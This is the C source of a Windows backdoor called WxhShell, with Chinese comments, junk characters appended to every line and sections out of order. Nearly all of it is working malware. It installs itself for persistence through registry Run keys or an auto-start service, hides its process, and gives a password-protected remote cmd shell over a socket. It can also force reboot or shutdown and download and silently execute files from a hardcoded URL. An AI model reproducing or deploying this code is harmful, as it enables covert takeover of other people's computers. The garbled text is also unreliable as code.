    if(Boot(SHUTDOWN)) D\~$6#B>>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o6%f%:&  
    else { ZlXs7 &_  
    closesocket(wsh); {%}6 d~Bg  
    ExitThread(0); ~OfKn1D  
    } wWswuhq<  
    break; SvrV5X  
    } KAEpFobYo  
  // 获取shell I=I%e3GEm  
  case 's': { <xz-7EqbwX  
    CmdShell(wsh); OtqLigt&l  
    closesocket(wsh); {D.0_=y~2  
    ExitThread(0); 45JLx?rN_  
    break; +@v} (  
  } QCnVZ" !(  
  // 退出 Y0'^S<ox  
  case 'x': { #Jb$AA! z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :|( B[  
    CloseIt(wsh); $ $+z^%'_  
    break; O/@[VPf  
    } [$+61n}.12  
  // 离开 ho<#i(  
  case 'q': { nXW1:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !9Xex?et  
    closesocket(wsh); c67!OHumP  
    WSACleanup(); cne[-E  
    exit(1); sTYl' Ieg  
    break; 1 SZa\ ][@  
        } 5n#&Hjb*F0  
  } D4T+Gk"n  
  } |,f6c Om f  
D]_\i[x  
  // 提示信息 l/M+JT~R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g}h0J%s  
} I[C.iILL  
  } J(L$pIM  
yU`IyaazZ  
  return; (#BA{9T,^  
} {$.{VE+v5  
sNTfRPC  
// shell模块句柄 Lj\<qF~n  
int CmdShell(SOCKET sock) +fmZ&9hFNJ  
{ '1*MiFxKq  
STARTUPINFO si; Dne&YVF9V  
ZeroMemory(&si,sizeof(si)); rbWFq|(_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !qq@F%tv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1Pc'wfj  
PROCESS_INFORMATION ProcessInfo; 7%WI   
char cmdline[]="cmd"; O;tn5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Vt>E\{@[t  
  return 0; ]t<%>Z$  
} / nRaxzf'  
3EdPKM j&  
// 自身启动模式 :eO0{JN4T  
int StartFromService(void) nQC[[G*x  
{ o!d0  
typedef struct rkp0ej2-  
{ o)DKP>IM#  
  DWORD ExitStatus; 3e:y?hpeL  
  DWORD PebBaseAddress; i[ lH@fJm_  
  DWORD AffinityMask; O%{>Zo_<  
  DWORD BasePriority; ],m-,K  
  ULONG UniqueProcessId; eSf:[^  
  ULONG InheritedFromUniqueProcessId; {^iV<>J  
}   PROCESS_BASIC_INFORMATION; )/w2]d/9  
dY^~^<{Lj  
PROCNTQSIP NtQueryInformationProcess; MDt4KD+bZ  
.d,Zx  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >n62csO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p`0Tpgi  
B7C6Mau  
  HANDLE             hProcess; Pd?YS!+S  
  PROCESS_BASIC_INFORMATION pbi; N11am  
Orgje@c{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,.B8hr@H6-  
  if(NULL == hInst ) return 0; cQ%HwYn  
v4Gkf  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uR[i9%=8L(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^ TS\x/P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9:>vl0  
yo=d"*E4^  
  if (!NtQueryInformationProcess) return 0; mbK$Wp#  
%G*D0pE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); XafyI*pOX  
  if(!hProcess) return 0; E&AR=yqk  
w.jATMJ)F  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'AU!xG6OQ  
WJWrLu92\U  
  CloseHandle(hProcess); NgQl;$  
w6tY6bf}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A_+ WY|#M  
if(hProcess==NULL) return 0; X5=7DE]  
O)?0G$0  
HMODULE hMod; s Y,3  
char procName[255]; el<nY"c  
unsigned long cbNeeded; rkrt.B  
'lF|F+8   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); EOiKwhrV  
K`sm  
  CloseHandle(hProcess); lPQH_+)Z"  
X,b} d#\  
if(strstr(procName,"services")) return 1; // 以服务启动 g o@}r<B$  
{_JLmyaerZ  
  return 0; // 注册表启动 &W%TY:Da|  
} _nt%&f  
!E8JpE|z#  
// 主模块 $}829<gh7  
int StartWxhshell(LPSTR lpCmdLine) E*$:~w  
{ spf}{o  
  SOCKET wsl; <5 +?&i  
BOOL val=TRUE; {>qCZ#E5WO  
  int port=0; POf \l  
  struct sockaddr_in door; YZ}gZQ.A0  
/\.kH62  
  if(wscfg.ws_autoins) Install(); 4#T'Fy].  
aVlHY E  
port=atoi(lpCmdLine); =W6P>r_  
:zCm$@  
if(port<=0) port=wscfg.ws_port; +q(D]:@,[  
.T7ciD  
  WSADATA data; Kj7Osqu2bE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hH\(> 4l  
Zo` ^pQS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )xeVoAg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7hc(]8eP  
  door.sin_family = AF_INET; BBDOjhik  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hf '3yEm  
  door.sin_port = htons(port); sr\MQ?\fB  
DmYm~hzJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `i}\k  
closesocket(wsl); Mm5l>D'c  
return 1; *VpQ("  
} ]PFc8qv{  
fAK  
  if(listen(wsl,2) == INVALID_SOCKET) { ?'%&2M zM  
closesocket(wsl); }5gQZ'ys'  
return 1; )\e_I\-  
} 9/{g%40B^  
  Wxhshell(wsl); sTb/l!=o  
  WSACleanup(); ^ZsME,  
1_' ZbZv4h  
return 0; tnsYY  
&sW/r::,  
} BBX4^;t  
0Ec -/   
// 以NT服务方式启动 2a G<^3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P>H'od  
{ c}Qc2D3*  
DWORD   status = 0; Zqao4  
  DWORD   specificError = 0xfffffff; ecb[m2z  
,W#y7 t  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /xmd]XM=_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dZm{?\^_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a8N!jQc_m  
  serviceStatus.dwWin32ExitCode     = 0; {Hb _o)S  
  serviceStatus.dwServiceSpecificExitCode = 0; D@Q|QY5qic  
  serviceStatus.dwCheckPoint       = 0; b`2~  
  serviceStatus.dwWaitHint       = 0; @cx!m   
i55']7+0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); eRf 8'-"#-  
  if (hServiceStatusHandle==0) return; +5Mx0s(5  
6};Sn/ 8  
status = GetLastError(); HdGy$m`  
  if (status!=NO_ERROR) ev; &$Hc  
{ O&)Y3O1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 33; yt d  
    serviceStatus.dwCheckPoint       = 0; Nb$)YMbA  
    serviceStatus.dwWaitHint       = 0; `1P &  
    serviceStatus.dwWin32ExitCode     = status; WN0^hDc-  
    serviceStatus.dwServiceSpecificExitCode = specificError; m?csake.Me  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wiutUb Y  
    return; GVg0)}  
  } X9P-fF?0  
PBUc9/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; r1[0#5kJ;J  
  serviceStatus.dwCheckPoint       = 0; 2]7nw1&  
  serviceStatus.dwWaitHint       = 0; KT8Fn+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4-TM3Cw`d&  
} }SYvGp{J,  
=IUTU4!]  
// 处理NT服务事件,比如:启动、停止 V'9 k;SF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6PTD%Rf\  
{ ,0~'#x>  
switch(fdwControl) ,e;(\t:  
{ \dP2xou=  
case SERVICE_CONTROL_STOP: ak'RV*>mT  
  serviceStatus.dwWin32ExitCode = 0; ThHK1{87X}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M]&9Kg3   
  serviceStatus.dwCheckPoint   = 0; <mpkkCl,  
  serviceStatus.dwWaitHint     = 0; O9qEKW)a  
  { vX{]_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $GcVC (]  
  } lAoH@+dyA+  
  return; DukCXyB*l  
case SERVICE_CONTROL_PAUSE: ?(mlt"tPk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -O ej6sILO  
  break; ?&Lb6(}e  
case SERVICE_CONTROL_CONTINUE: SnVnC09y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V8c&2rNa  
  break; KQEnC`Nz  
case SERVICE_CONTROL_INTERROGATE: t]Oxo`h=  
  break; nTLdknh"  
}; +VTMa9d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #vIF]Y  
} IQR?n}ce  
wc ^z9y  
// 标准应用程序主函数 S3 &L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) TEY%OI zU+  
{ M*t{?o/t;  
RhYf+?2  
// 获取操作系统版本 nlJxF5/  
OsIsNt=GetOsVer(); s:Memvf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); zX)uC<  
L"AZ,|wIk  
  // 从命令行安装 &'R\yX<J)  
  if(strpbrk(lpCmdLine,"iI")) Install(); b,I$.&BD  
rtOXK4)]I  
  // 下载执行文件 w,^!kO0)~8  
if(wscfg.ws_downexe) { _PJd1P.k  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b,s T[!X[  
  WinExec(wscfg.ws_filenam,SW_HIDE); %rYd=Ri  
} C EAwQH  
M[SWMVN{  
if(!OsIsNt) { 0kmZO"K#e  
// 如果时win9x,隐藏进程并且设置为注册表启动 'sJYt^  
HideProc(); "/wZtc  
StartWxhshell(lpCmdLine); hMDy;oQ  
} oKzLt  
else @q|I$'K]x  
  if(StartFromService()) p*vEVo  
  // 以服务方式启动 0p8(Q  
  StartServiceCtrlDispatcher(DispatchTable); u3kZOsG  
else b1_HDC(  
  // 普通方式启动 *_@8v?  
  StartWxhshell(lpCmdLine); _},u[+  
.h{`e>d  
return 0; B!6?+< J"  
} gLU #\d]  
9z,V]v=  
.%.J Q  
>/GVlXA'  
=========================================== { "=d7i  
wU+-;C5e  
-FdhV%5]  
]Z6==+mCP  
E{|j  
usX aT(K  
" F~4oPB K<  
BlMc<k  
#include <stdio.h> k\I+T~~xD  
#include <string.h> n-0RA~5z  
#include <windows.h> Q`'w)aV  
#include <winsock2.h> g"^<LX-  
#include <winsvc.h> 6Xbo:#  
#include <urlmon.h> $SA8$!:  
{p-&8-  
#pragma comment (lib, "Ws2_32.lib") HvLvSy1U  
#pragma comment (lib, "urlmon.lib") Xb.WI\Eh  
w 7s+6,  
#define MAX_USER   100 // 最大客户端连接数 xmsw'\  
#define BUF_SOCK   200 // sock buffer hv2@}<r?  
#define KEY_BUFF   255 // 输入 buffer [ lW~v:W  
$QN}2lJ>  
#define REBOOT     0   // 重启 cl/}PmYIZ  
#define SHUTDOWN   1   // 关机 G?v]p~6  
>+LFu?y  
#define DEF_PORT   5000 // 监听端口 R$sG*=a!8j  
9/'zk  
#define REG_LEN     16   // 注册表键长度 [AA'Ko  
#define SVC_LEN     80   // NT服务名长度 *`7cvt5]IM  
7G z f>n  
// 从dll定义API :VGvL"Kro  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x(ue |UG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \c(R#*0,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H}Z\r2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W!MO }0s  
Y`.FSs  
// wxhshell配置信息 B}Qpqa=_c  
struct WSCFG { BUvE~l.,|  
  int ws_port;         // 监听端口 $t}t'uJ  
  char ws_passstr[REG_LEN]; // 口令 __O@w.  
  int ws_autoins;       // 安装标记, 1=yes 0=no w7+3?'L  
  char ws_regname[REG_LEN]; // 注册表键名 OXAr..  
  char ws_svcname[REG_LEN]; // 服务名 AU0pJB'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _[SW89zk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W"MwpV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {$5?[KD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no AR8zCKBc^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }V:ZGP#!'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 SoC3)iqv/  
`\Z7It?aDs  
}; C+tB$yahO  
RE 6d&#N  
// default Wxhshell configuration ]6#bp,  
struct WSCFG wscfg={DEF_PORT, HtFc+%=  
    "xuhuanlingzhe", i-Er|u; W  
    1, }RvinF:5  
    "Wxhshell", -q'G]}  
    "Wxhshell", X?kw=x{2P  
            "WxhShell Service", KsVN<eR{  
    "Wrsky Windows CmdShell Service", 7.}Vvg#G  
    "Please Input Your Password: ", s_:7dD  
  1, I5Vp%mCY  
  "http://www.wrsky.com/wxhshell.exe", T8'm{[C  
  "Wxhshell.exe" WOkAma-  
    }; Pk)>@F<  
QPr29  
// 消息定义模块 v{tw;Z#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~*NG~Kn"s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #s% _ L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &pCa{p  
char *msg_ws_ext="\n\rExit."; ;@/^hk{A  
char *msg_ws_end="\n\rQuit."; 9+S$,|9  
char *msg_ws_boot="\n\rReboot..."; KUD&vqx3  
char *msg_ws_poff="\n\rShutdown..."; C ^QpVt-T  
char *msg_ws_down="\n\rSave to "; v%^"N_]  
dA 03,s  
char *msg_ws_err="\n\rErr!"; lW6$v* s9  
char *msg_ws_ok="\n\rOK!"; xfegi$  
wjEyU:  
char ExeFile[MAX_PATH]; [P_@-:(O  
int nUser = 0; L"[2[p  
HANDLE handles[MAX_USER]; !DU4iq_.  
int OsIsNt; 7H=V|Btnc  
9:9gam  
SERVICE_STATUS       serviceStatus; |[./jg"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ; ,9:1.L  
XSOSy2:  
// 函数声明 ,9~=yC  
int Install(void); e2F{}N  
int Uninstall(void); v0q(k;Ya  
int DownloadFile(char *sURL, SOCKET wsh); 6~b)Hc/  
int Boot(int flag); ^GL>xlZ(  
void HideProc(void); sx1w5rj.Y0  
int GetOsVer(void); JiN>sEAM  
int Wxhshell(SOCKET wsl); 1RHFWK5Si  
void TalkWithClient(void *cs);  :d) y  
int CmdShell(SOCKET sock); ngLpiU0H&  
int StartFromService(void); w#qE#g %1  
int StartWxhshell(LPSTR lpCmdLine); !94qF,#1  
nY M2Vxi0+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ){}1u ?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H6/n  
KATu7)e&~^  
// 数据结构和表定义 SB x<-^  
SERVICE_TABLE_ENTRY DispatchTable[] = ks19e>'5Q  
{ (pv6V2i  
{wscfg.ws_svcname, NTServiceMain}, }z,f8Yz  
{NULL, NULL} ,azBk`$iQr  
}; e|1.-P@  
Ah :d2*SR4  
// 自我安装 [ikW3 '99,  
int Install(void) yt+d f0l  
{ [x[ nTIg  
  char svExeFile[MAX_PATH]; ;)Fc@OXN>  
  HKEY key; $Cnv]1%  
  strcpy(svExeFile,ExeFile); X+7@8)1(  
Qo\+FkhYq  
// 如果是win9x系统,修改注册表设为自启动 1[:tiTG|C  
if(!OsIsNt) { `=%mU/v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i K,^|Q8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]iezwz`'  
  RegCloseKey(key); \p.eY)>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Gr&YzbSX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bDtb"V8e  
  RegCloseKey(key); %LjhK,'h  
  return 0; \%/Y(YVm  
    } &"6%D|Z0  
  } 5c ($~EFr  
} JRr'81\  
else { h?7@]&VJ  
b}HwvS:  
// 如果是NT以上系统,安装为系统服务 CaB@,L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); S; Fj9\2)I  
if (schSCManager!=0) B`w@Xk'D  
{ pq +~|  
  SC_HANDLE schService = CreateService >(He,o@M  
  ( i87+9X  
  schSCManager, l1UN.l'p  
  wscfg.ws_svcname, ~O8Xj6  
  wscfg.ws_svcdisp, b wqd` C  
  SERVICE_ALL_ACCESS, kO}Q OL4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |%$mN{  
  SERVICE_AUTO_START, {Rtl<W0  
  SERVICE_ERROR_NORMAL, Y^2]*e%  
  svExeFile, 9s2 N!bx  
  NULL, `xsU'Wd^<  
  NULL, *pSD[E>SU  
  NULL, AQgagE^  
  NULL, z8JdA%YBM  
  NULL ?#gYu %7DN  
  ); >A.m`w  
  if (schService!=0) 2)T.Ci cx  
  { W.m2`] &  
  CloseServiceHandle(schService); Jty/gjK+  
  CloseServiceHandle(schSCManager); ^kh@AgG^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =z4kK_?F,  
  strcat(svExeFile,wscfg.ws_svcname); 9{&oVt~Y$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +Z/aB*aVa^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); iM_Zn!|@\  
  RegCloseKey(key); :O9i:Xq[QW  
  return 0; 9B9:lR  
    } MVkO >s  
  } ^GC 8^f  
  CloseServiceHandle(schSCManager); s)5W:`MH?  
} ueP a4e!  
} + 0 |d2_]E  
a&C}' e"  
return 1; &O\$=&, h  
} JW9U&Bj{  
&Xp<%[:  
// 自我卸载 NsF8`r g  
int Uninstall(void) eUEO~M2&U{  
{ !g7bkA  
  HKEY key; 0oPcZ""X]  
ZU K'z  
if(!OsIsNt) { ZnZ`/zNO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S r4/8BZ  
  RegDeleteValue(key,wscfg.ws_regname); ~L?q.*q  
  RegCloseKey(key); !9g >/9h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j6#RV@ p`  
  RegDeleteValue(key,wscfg.ws_regname); HOb0\X  
  RegCloseKey(key); dU.H9\p  
  return 0; v~KgCLo  
  } }gtkO&  
} @f%q ,:  
} @ $2xiE.[  
else { aP`V  
A[Pz&\@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q|Go7MQZ@k  
if (schSCManager!=0) <~iA{sY)O  
{ 'w`3( ':=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &k@r23V7r  
  if (schService!=0) |yYu!+U  
  { 2>h.K/pC  
  if(DeleteService(schService)!=0) { n+H);Dg<8  
  CloseServiceHandle(schService); o}6d[G>  
  CloseServiceHandle(schSCManager); VhX~sJ1%Gp  
  return 0;  o\-:  
  } :FWo,fq?:{  
  CloseServiceHandle(schService); Kn4x _9  
  } c~v(bK  
  CloseServiceHandle(schSCManager); F8OE  
} 1zWEK]2.R  
} :GN7JxD#  
HK4 *+  
return 1; 0})mCVBY  
} #9 u2LK  
"Oq>i9v;|$  
// 从指定url下载文件 MtXTh*4  
int DownloadFile(char *sURL, SOCKET wsh) t`eUD>\  
{ C?fa-i0l^  
  HRESULT hr; xSL%1>MrN  
char seps[]= "/"; lbnH|;`$]m  
char *token; G !;<#|a  
char *file; 5|Hz$oU  
char myURL[MAX_PATH]; rFU|oDF  
char myFILE[MAX_PATH]; /p7-D;  
`uLH3sr  
strcpy(myURL,sURL); Qv/Kbw N{  
  token=strtok(myURL,seps); ,-.a! a  
  while(token!=NULL) ';Ew-u  
  { (f>~+-IL  
    file=token; qb?9i-(  
  token=strtok(NULL,seps); rBrJTF:.  
  } h?+bW'm  
9,>u,  
GetCurrentDirectory(MAX_PATH,myFILE); 25 m!Bf  
strcat(myFILE, "\\"); > ?<C+ZHh  
strcat(myFILE, file); WJF#+)P:Y  
  send(wsh,myFILE,strlen(myFILE),0); k+`e0Jago  
send(wsh,"...",3,0); yp\s Jc`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y/Q/4+  
  if(hr==S_OK) g!.k>  
return 0; |}2X|4&X  
else ~E*`+kD  
return 1; ,{VC(/d  
I+g[ p  
} Nlk'  
JsyLWv@6xa  
// 系统电源模块 %:vMD  
int Boot(int flag) QX >Pni  
{ PHv0^l]B  
  HANDLE hToken; u!DAeE  
  TOKEN_PRIVILEGES tkp; 6%t>T~x  
eZk4 $y  
  if(OsIsNt) { 3PgiV%]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zD%@3NA41  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HL34pmc  
    tkp.PrivilegeCount = 1; CH4 ~9mmE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $pGdGV\H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o<\9OQ0  
if(flag==REBOOT) { gy6Pf4Yo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t-3y`31i.  
  return 0; 7qT>wCVT  
} *9I/h~I  
else { <{k r5<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &(t/4)IZox  
  return 0; 4Y:[YlfD.  
} D0HLU ~o  
  } P8=!/L2?  
  else { l4smAT  
if(flag==REBOOT) { ExJexjOWI^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~.L\f%<  
  return 0; WC *e#QP  
} '980.  
else { W*/0[|n*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J8:f9a:|M  
  return 0; wR*>9LjeG  
} 6im!v<1Qx  
} ~T'Ri=  
bL"!z"NA  
return 1; C)8>_PY[M  
} [6{o13mCWE  
%YbcI|i]<0  
// win9x进程隐藏模块 RJO40&Z<Z  
void HideProc(void) +?[,{WtV  
{ fBRU4q=^T  
B`i 5lD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q#!]5  
  if ( hKernel != NULL ) JOvRU DZ  
  { <C6*-j1oz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w] =q>p  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s+l3]Hd  
    FreeLibrary(hKernel); %9lx)w  
  } F|3iKK022  
6x8P}?  
return; ~L7@,d:  
} ** !  
Gn7P` t*.  
// 获取操作系统版本 mpysnKH  
int GetOsVer(void) oo{3-+ ?  
{ xQK;3b  
  OSVERSIONINFO winfo; 9/_F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \n`)>-  
  GetVersionEx(&winfo); AQ` `Dp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #FQkwX'g  
  return 1; !.}ZlA  
  else T_=iJ: Q  
  return 0; r#;GVJR6  
} Obb"#W@3  
do>,ELS+m  
// 客户端句柄模块 L/sMAB  
int Wxhshell(SOCKET wsl) p ! _\a  
{ &)y$XsSMW  
  SOCKET wsh; 4UV<Q*B\F  
  struct sockaddr_in client; )%T< Mw2u  
  DWORD myID; EBl?oN7E  
QaYUcma~n  
  while(nUser<MAX_USER) 7\xGMCctM  
{ g!*5@k|C  
  int nSize=sizeof(client); 7Fd`M To  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Hz6tk9;w  
  if(wsh==INVALID_SOCKET) return 1; r3_O?b  
yoc;`hO-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z2cumx(  
if(handles[nUser]==0) Sq Y$\&%  
  closesocket(wsh); 6-oy%OnN  
else 2S^:fm}  
  nUser++; rrL gBeQa  
  } 8\H*Z2yF+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9KgGK cy%  
Gi=s|vt  
  return 0; t6JM%  
} $ /p/9 -  
k~,({T<  
// 关闭 socket ! O~:  
void CloseIt(SOCKET wsh) Zl4X,9Wt  
{ |0Y: /uL#)  
closesocket(wsh); ZJ Ke}F`l  
nUser--; N ">4I)  
ExitThread(0); eGF+@)K1"  
} >&g^ `  
0!fT:Ra  
// 客户端请求句柄 1;8%\r[|5^  
void TalkWithClient(void *cs) 2b i:Q9  
{ l}jC$B`5  
yJRqX]MLA  
  SOCKET wsh=(SOCKET)cs; 6#SUfK;  
  char pwd[SVC_LEN]; E@(nKe&6T_  
  char cmd[KEY_BUFF]; q<Sb>M/\,  
char chr[1]; NZW)$c'  
int i,j; .%x%b6EI  
:Ou[LF.O  
  while (nUser < MAX_USER) { b:6NVHb%  
N3rq8Rk  
if(wscfg.ws_passstr) { T>cO{I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Am @o}EC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Xvr7qowL  
  //ZeroMemory(pwd,KEY_BUFF); 4v?}K   
      i=0; pcrarj  
  while(i<SVC_LEN) { cKM#0dq  
)d$FFTH  
  // 设置超时 5z~O3QX  
  fd_set FdRead; F).7%YfY  
  struct timeval TimeOut; BGOajYD  
  FD_ZERO(&FdRead); uGW!~qAr*  
  FD_SET(wsh,&FdRead); *&nIxb60b{  
  TimeOut.tv_sec=8; BJNZH#"  
  TimeOut.tv_usec=0; J\%SAit@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); JOUZ"^v  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mQka?_if)  
z9qF<m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !-cK@>.pE  
  pwd=chr[0]; GVK c4HGt  
  if(chr[0]==0xd || chr[0]==0xa) { 1&.q#,EMn(  
  pwd=0; $c0<I59&|  
  break; N7 ox#=g  
  } hC D6  
  i++; Svl; Ul  
    } $2J[lt?%  
h%UM<TZ]"  
  // 如果是非法用户,关闭 socket qe<xH#6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >.o<}!FW  
} W Yo>Md 8  
RE%25t|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;Zt N9l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fG_<HJS(~  
?l>Ra0  
while(1) { D_)N!,i  
!(8) '<t9  
  ZeroMemory(cmd,KEY_BUFF); IDK~ (t  
#Y%(CI  
      // 自动支持客户端 telnet标准   ?[!_f$50]P  
  j=0; _fM=J+  
  while(j<KEY_BUFF) { UY}EW`$#m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?[#4WH-G  
  cmd[j]=chr[0]; 0 H0U%x8  
  if(chr[0]==0xa || chr[0]==0xd) { <Eu/f`8  
  cmd[j]=0; JH+uBZh6  
  break; w/, A@fLL  
  } 8I]rC<O6:  
  j++; VoC|z Rd_  
    } | <bZ*7G  
E@J}(76VS  
  // 下载文件 8O| w(z  
  if(strstr(cmd,"http://")) { =v(&qh9Q2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HXb^K  
  if(DownloadFile(cmd,wsh)) U: q4OtiP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); OD6dMql  
  else 9yYNX;C  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <El!,UBq<  
  } "BA&  
  else { o\N^Uu  
Egi(z9|Pp  
